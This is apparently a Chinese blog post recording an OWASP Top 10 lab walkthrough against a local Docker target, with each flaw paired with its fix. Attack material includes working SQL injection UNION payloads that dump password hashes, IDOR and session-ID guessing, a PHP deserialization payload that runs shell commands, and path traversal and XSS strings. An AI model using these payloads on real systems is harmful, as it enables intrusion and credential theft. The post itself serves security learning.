记录练习OWASP
先链接靶场
启动然后可以看到
[+] up 1/1 ✔ Container owasp-lab Running 0.0sOWASP Top 10 练习靶场
/vuln/a01-idor.php A01 越权:改 order_id 看别人的订单/vuln/a05-sqli.php A05 注入:SQL 拼接,加 &safe=1 看参数化查询/vuln/a07-session.php A07 认证:sid 可猜 + 登录无限试/vuln/a02-debug.php A02 配置错误:debug 没关,内部路径和口令全泄露/backup/ A02 另一半:目录可浏览 + 备份文件没删/vuln/a08-deserialize.php A08 完整性:外部输入直接 unserialize/vuln/a10-failopen.php A10 异常处理:catch 之后 return true
这里列了 7 个入口,但靶场里不止这么多页面。有一个管理后台从来没被链接过 —— 猜它的 URL 试试。A01 越权
在终端输入
curl -b 'uid=alice' 'http://127.0.0.1:8000/vuln/a01-idor.php?order_id=1001'可以看到返回
当前用户: alice订单 1001:机械键盘,399 元,归属 alice接着改一下order_id = 1002
可以看到返回bob的信息
当前用户: alice订单 1002:显示器,1299 元,归属 bob接着在后面加上&safe=1再看返回(走漏洞分支,这里是走到修好的分支)
403:这不是你的订单(当前用户 alice,订单归属 bob)强制浏览
curl -s -w '[HTTP %{http_code}]' -b 'sid=1002' 'http://127.0.0.1:8000/vuln/a01-admin.php'返回
管理后台当前 sid: 1002用户表导出: admin 5f4dcc3b5aa765d61d8327deb882cf99 alice e10adc3949ba59abbe56e057f20f883e[HTTP 200]%普通用户的 sid 进了管理后台。加 ?safe=1 → 403。
为什么:权限判断写在了”能不能看到入口”上,没写在”能不能执行”上。前端藏按钮、导航里不放链接、URL 起个难猜的名字,都不是访问控制 —— 判定的地方只能在服务端,而且是每个请求都判一次。
A02 安全配置错误
debug没关
curl -i http://127.0.0.1:8000/vuln/a02-debug.php返回
HTTP/1.1 500 Internal Server ErrorDate: Fri, 23 Oct 2026 09:16:03 GMTServer: Apache/2.4.68 (Debian)X-Powered-By: PHP/8.5.11Content-Length: 261Connection: closeContent-Type: text/plain; charset=utf-8
[DEBUG] file_get_contents() failedtarget : /var/log/app/access-today.logcwd : /var/www/html/vulnphp : 8.5.11server : Apache/2.4.68 (Debian)config : { "db_host": "db", "db_user": "dvwa", "db_pass": "p@ssw0rd", "secret": "7f2c1e9a4b"}一次失败的请求,交出了绝对路径、PHP 版本、Apache 版本、数据库地址、数据库口令、密钥。
修:打开 web/vuln/a02-debug.php,第 6 行 $debug = true; 改成 false,重打 → 只剩”服务繁忙,请稍后再试”。
目录能浏览 + 备份文件没删
curl -si http://127.0.0.1:8000/backup/返回
HTTP/1.1 403 ForbiddenDate: Fri, 23 Oct 2026 09:19:04 GMTServer: Apache/2.4.68 (Debian)Content-Length: 316Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p><hr><address>Apache/2.4.68 (Debian) Server at 127.0.0.1 Port 8000</address></body></html>403 说明目录索引是关着的,打开:
printf 'Options +Indexes\n' > web/backup/.htaccesscurl -s http://127.0.0.1:8000/backup/ | grep db.sql.bak目录 403,文件 200。 Options -Indexes 只挡住”列清单”,不挡”直接按名字取”。所以下面开 .htaccess 那一步,作用是让文件名从”要猜”变成”能看见”—— 文件本身一直躺在外面,从来没被保护过。 这个区别在真实站点上很要命:/.git/config、/backup.zip、/www.tar.gz 这些路径,目录页 403,文件一请求就下来。目录扫描工具之所以有价值,就是因为有这一步。
返回
<tr><td valign="top"><img src="/icons/unknown.gif" alt="[ ]"></td><td><a href="db.sql.bak">db.sql.bak</a></td><td align="right">2026-10-22 03:31 </td><td align="right">439 </td><td> </td></tr>接着
curl -s http://127.0.0.1:8000/backup/db.sql.bak返回
-- 本应删掉却留在 web 根目录里的备份文件(A02 的经典形态)-- 攻击者不需要猜口令,只要目录能列出来,就能拿到这个文件CREATE TABLE users ( id INT PRIMARY KEY, username VARCHAR(64), password VARCHAR(64), role VARCHAR(16));
INSERT INTO users VALUES (1, 'admin', '5f4dcc3b5aa765d61d8327deb882cf99', 'admin'), (2, 'gordon', 'e10adc3949ba59abbe56e057f20f883e', 'user');练完删掉:rm web/backup/.htaccess
为什么:这两半的共同点是”默认值”。debug 默认开、目录索引默认开、备份文件默认留在 web 根目录 —— 每一项单看都无害,凑一起就是把口令递给别人。A02 的修法永远是”把不需要的关掉”,不是”加个判断”。
A03 软件供应链失效
这一条打自己靶场
cd ~/LYH-Blogs && pnpm audit返回一个很长的表格
129 vulnerabilities foundSeverity: 15 low | 48 moderate | 64 high | 2 critical两条 critical:
critical Astro: Remote code execution through AVIF image optimizationPackage astroVulnerable versions <7.2.8Patched versions >=7.2.8Paths . > @astrojs/mdx@5.0.6 > astro@6.3.5 . > astro@6.3.5
critical node-tar: Decompression/parse DoS via unlimited inputPackage tarVulnerable versions <=7.5.18Patched versions >=7.5.19Paths . > astro-icon@1.1.5 > @iconify/tools@4.2.0 > tar@7.5.16读法:astro 是博客框架本身(6.3.5,修复版 7.2.8,差一个大版本);tar 你根本没直接装 —— 它是 astro-icon → @iconify/tools → tar 一路拖进来的传递依赖。你不知道它在,但它在。
为什么:这一条没有”请求”可以打,所以 WAF 完全无能为力。防护手段是流程:提交 lockfile、只从官方源装、定期 audit、给基础镜像标版本号而不是 latest。
A04 加密机制失效
在 A02 第二半的最后一步拿到这份文件的
curl -s http://127.0.0.1:8000/backup/db.sql.bak接着
for w in password 123456 admin; do printf '%-10s -> %s\n' "$w" "$(printf '%s' "$w" | md5)"done返回
password -> 5f4dcc3b5aa765d61d8327deb882cf99123456 -> e10adc3949ba59abbe56e057f20f883eadmin -> 21232f297a57a5a743894a0e4a801fc3备份文件里两个哈希全部命中:admin 的密码是 password,gordon 的密码是 123456。
修
docker exec owasp-lab php -r 'echo password_hash("123456", PASSWORD_DEFAULT), "\n";'跑两次,结果不一样(自动加盐)。验证要用 password_verify()。
为什么:问题不在”用了 MD5”,在”用了一个为速度设计的哈希来存密码”。MD5 一秒能算几百万次,暴力破解成本极低。换成 SHA-256 也一样快 —— 快就是问题。password_hash 故意慢(每秒几百次),慢到暴力破解不划算。
docker exec owasp-lab php -r '$t = microtime(true);for ($i = 0; $i < 100000; $i++) { md5("123456"); }$d = microtime(true) - $t;printf("md5 10 万次: %7.1f ms —— 每秒 %.0f 万次\n", $d*1000, 100000/$d/10000);
$t = microtime(true);for ($i = 0; $i < 100; $i++) { password_hash("123456", PASSWORD_DEFAULT); }$d = microtime(true) - $t;printf("bcrypt 100 次: %7.0f ms —— 每秒 %.0f 次\n", $d*1000, 100/$d);'实测(这次会比前一条慢十几秒,正常):
md5 10 万次: 10.7 ms —— 每秒 938 万次bcrypt 100 次: 16907 ms —— 每秒 6 次同样是”存密码”,一个每秒能算 938 万次,一个每秒只能算 6 次。字典跑一遍的成本差了一百五十万倍 —— 这就是”慢哈希”三个字的全部含义。
A05 注入
先输入
curl 'http://127.0.0.1:8000/vuln/a05-sqli.php?name=alice'返回
输入: 'alice'
执行的 SQL: SELECT id, username, role FROM users WHERE username = 'alice'
命中 1 行: id=2 username=alice role=user接着 恒真条件
curl 'http://127.0.0.1:8000/vuln/a05-sqli.php?name=%27%20OR%20%271%27%3D%271'返回
输入: '\' OR \'1\'=\'1'
执行的 SQL: SELECT id, username, role FROM users WHERE username = '' OR '1'='1'
命中 2 行: id=1 username=admin role=admin id=2 username=alice role=userUNION 把密码列拖出来
P="x%27%20UNION%20SELECT%201,username,password%20FROM%20users--%20"curl "http://127.0.0.1:8000/vuln/a05-sqli.php?name=$P"返回
输入: 'x\' UNION SELECT 1,username,password FROM users-- '
执行的 SQL: SELECT id, username, role FROM users WHERE username = 'x' UNION SELECT 1,username,password FROM users-- '
命中 2 行: id=1 username=admin role=5f4dcc3b5aa765d61d8327deb882cf99 id=1 username=alice role=e10adc3949ba59abbe56e057f20f883erole 列出来的是密码哈希 —— UNION 把 password 塞进了角色的位置,-- 把多余的引号注释掉。这条链往下就是 A04。
修
curl "http://127.0.0.1:8000/vuln/a05-sqli.php?name=$P&safe=1"执行的 SQL: SELECT id, username, role FROM users WHERE username = ?绑定参数 : [x' UNION SELECT 1,username,password FROM users-- ]
命中 0 行:载荷一个字符没变,命中从 2 行变 0 行。
为什么:参数化之后 ? 位置只接受一个”值”,输入里的引号、UNION、注释符全部退化成普通字符串,再也参与不了语法解析。
A07 认证失效
# 登录 alice,看响应头curl -si 'http://127.0.0.1:8000/vuln/a07-session.php?action=login&u=alice&p=alice123'Set-Cookie: sid=1002登录成功,sid=1002(role=user)sid 是 1002,固定值,连 HttpOnly 都没有。那 admin 的应该是多少?
curl -b 'sid=1001' 'http://127.0.0.1:8000/vuln/a07-session.php?action=whoami'你是 admin(sid=1001,role=admin)一个密码都没输,成了管理员。
顺便看爆破:漏洞版连错 10 次毫无反应。
for i in $(seq 1 10); do curl -s -o /dev/null -w '%{http_code} ' \ "http://127.0.0.1:8000/vuln/a07-session.php?action=login&u=admin&p=wrong$i"done401 401 401 401 401 401 401 401 401 401第 11 次试对就进 —— 字典可以一直跑。
修
curl -si 'http://127.0.0.1:8000/vuln/a07-session.php?action=login&u=alice&p=alice123&safe=1'Set-Cookie: sid=fccaaa7e2e7c8074d85500b6b1984817; HttpOnly; SameSite=Strict32 位随机 + HttpOnly + SameSite。同一个猜来的 sid=1001 直接 401。再连错 6 次:
第 1 次: HTTP 401 — 累计失败 1 次第 5 次: HTTP 401 — 累计失败 5 次第 6 次: HTTP 429 — 失败次数过多,请 60 秒后再试为什么:会话 ID 是”你是谁”的唯一凭证,它必须是不可预测的(随机)、不可读的(HttpOnly 防 XSS 偷)、可失效的(服务端有白名单,登出真能踢掉)。固定值等于把钥匙挂在门上。
A08 软件或数据完整性失效
# 正常数据:一个数组curl -s "http://127.0.0.1:8000/vuln/a08-deserialize.php?data=YToxOntzOjQ6Im5hbWUiO3M6NToiZ3Vlc3QiO30%3D"不是对象,结果: array ( 'name' => 'guest',)请求结束(对象的 __destruct 会在这之后执行)什么都没发生 —— 这就是让人放松警惕的地方。
# 构造对象curl -s "http://127.0.0.1:8000/vuln/a08-deserialize.php?data=Tzo1OiJDYWNoZSI6Mjp7czozOiJrZXkiO3M6MjoiZ2MiO3M6NzoicGF5bG9hZCI7czoyOiJpZCI7fQ%3D%3D"反序列化成功,得到对象: Cache请求结束(对象的 __destruct 会在这之后执行)uid=33(www-data) gid=33(www-data) groups=33(www-data)id 执行了。payload 原文长这样:
O:5:"Cache":2:{s:3:"key";s:2:"gc";s:7:"payload";s:2:"id";}O:5:"Cache"—— 要一个Cache类的对象:2:—— 两个属性s:3:"key";s:2:"gc";——key = "gc"s:7:"payload";s:2:"id";——payload = "id"
把 id 换成 cat /etc/passwd、换成反弹 shell,就是完整的 RCE。
修:web/vuln/a08-deserialize.php 第 31 行,把 @unserialize(...) 换成 json_decode(..., true),重打 → 只得到数组。
为什么:unserialize 不只是”读数据”,它会按 payload 里写的类名去实例化对象,并触发魔术方法。攻击者不需要调用任何函数,只要让对象活过一次。执行发生在页面输出之后,因为 __destruct 是对象销毁时才跑。
A09 日志与告警失效
cd ~/waf-labpython3 run.py --backend 127.0.0.1:8000 --listen 127.0.0.1:8889 --mode audit--mode audit = 只记录不拦。另开终端打四条:
for p in "1' OR '1'='1" "1'; DROP TABLE users--" "../../etc/passwd" "<script>alert(1)</script>"; do curl -s -o /dev/null -w '%{http_code} ' --get --data-urlencode "name=$p" \ "http://127.0.0.1:8889/vuln/a05-sqli.php"done200 200 200 200四条全是 200。 从客户端看,服务一切正常。然后看 logs/waf-*.jsonl:
score=100 action=log would_block=True backend=200 └─ 1021 SQL 注入 · 恒真条件(55); 1024 SQL 注入 · 引号闭合特征(45)score=185 action=log would_block=True backend=200 └─ 1024 引号闭合特征(45); 1026 破坏性语句(70); 1027 堆叠查询(70)score=170 action=log would_block=True backend=200 └─ 1001 路径穿越(70); 1010 敏感文件访问(100)score=115 action=log would_block=True backend=200 └─ 2001 XSS · script 标签(70); 2007 XSS · 弹窗与危险函数(45)三列读下来:
backend=200—— 每条都真的打到了应用,还成功返回would_block=True—— 如果开了拦截,四条都该挡action=log—— 但因为开了审计模式,全放过去了
修:把 --mode 改成 block 重启,同一条变 403,日志里 backend_status 变成 null(没到后端)。
为什么:日志完美记录了每一次攻击 —— 分数、规则、载荷、时间戳一样不缺。但没有告警,它就是一堆躺在磁盘上的 JSON。从”有日志”到”有告警”中间隔着的东西,才是这条要讲的。
A10 异常处理不当
# 一个明显不是管理员的角色curl 'http://127.0.0.1:8000/vuln/a10-failopen.php?name=guest&role=user'200 OK —— 已进入管理面板name: guestrole: userrole=user 进了管理面板。
# 干脆不传 rolecurl 'http://127.0.0.1:8000/vuln/a10-failopen.php?name=guest'<b>Warning</b>: Undefined array key "role" in <b>/var/www/html/vuln/a10-failopen.php</b> on line <b>11</b><br />200 OK —— 已进入管理面板name: guestrole: (未提供)参数缺了,反而直接进后台 —— 因为缺参数触发异常,而异常分支是放行的。同时还白送一个绝对路径和行号(这是 A10 和 A02 的交界)。
修:web/vuln/a10-failopen.php 第 17 行 return true; → return false;,两条都变 403。
再补一刀:在文件开头加 ini_set('display_errors', '0');,Warning 也不见了。
为什么:代码里那个 catch 里写 return true 的心理很好理解 —— “先别让用户卡住,出错也放过去,回头查日志”。上线之后它就是一道没锁的门。安全场景里几乎永远是 fail closed:不确定就拒绝。
常见问题
A07 的 safe 版一直返回 429
上一轮的失败次数还记在 /tmp/lab-a07.json 里。
docker exec owasp-lab rm -f /tmp/lab-a07.json/backup/ 一直是 403,加了 .htaccess 也没变
检查两件事:文件写在了 web/backup/ 下没有;容器允许 .htaccess 覆盖配置没有。
docker exec owasp-lab cat /var/www/html/backup/.htaccessdocker exec owasp-lab grep -rn "AllowOverride" /etc/apache2/ | head -5要看到 docker-php.conf:10: AllowOverride All 才说明 .htaccess 生效。
改了 PHP 文件但页面没变化
改的是宿主机还是容器?docker exec 进去用 vi 改的是容器里的副本,down 之后就没了。改文件永远在宿主机改。
docker compose up -d 卡在拉镜像
php:8.3-apache 在国内经常拉不动。用 alt 编排,或者给 Docker Desktop 配镜像加速(Settings → Docker Engine → registry-mirrors)。详见 README.md 第八节坑 1。
端口 8000 被占
lsof -iTCP:8000 -sTCP:LISTEN改 docker-compose.alt.yml 里的 "127.0.0.1:8000:80" 左边那个数字即可。
文章分享
如果这篇文章对你有帮助,欢迎分享给更多人!